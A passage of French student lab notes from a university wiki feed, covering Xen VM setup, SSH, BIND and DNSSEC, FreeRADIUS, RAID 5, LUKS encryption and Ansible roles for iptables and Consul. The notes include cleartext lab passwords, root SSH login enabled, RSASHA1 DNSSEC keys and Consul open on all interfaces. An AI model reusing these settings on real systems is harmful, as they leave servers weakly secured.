  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT tcp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_tcp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT udp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: udp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_udp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Set the policy for the INPUT chain to DROP&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     policy: DROP&lt;br /&gt;
&lt;br /&gt;
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la &amp;lt;code&amp;gt;POLICY&amp;lt;/code&amp;gt; à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)&lt;br /&gt;
&lt;br /&gt;
Nos ports sont variabilisés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/defaults/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_tcp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8500&lt;br /&gt;
   - 8501&lt;br /&gt;
   - 8502&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 8300 &lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_udp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
&lt;br /&gt;
voilà&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: config.json&lt;br /&gt;
     dest: /etc/consul/server.json&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 1,&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57985</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57985"/>
				<updated>2022-01-12T12:07:35Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
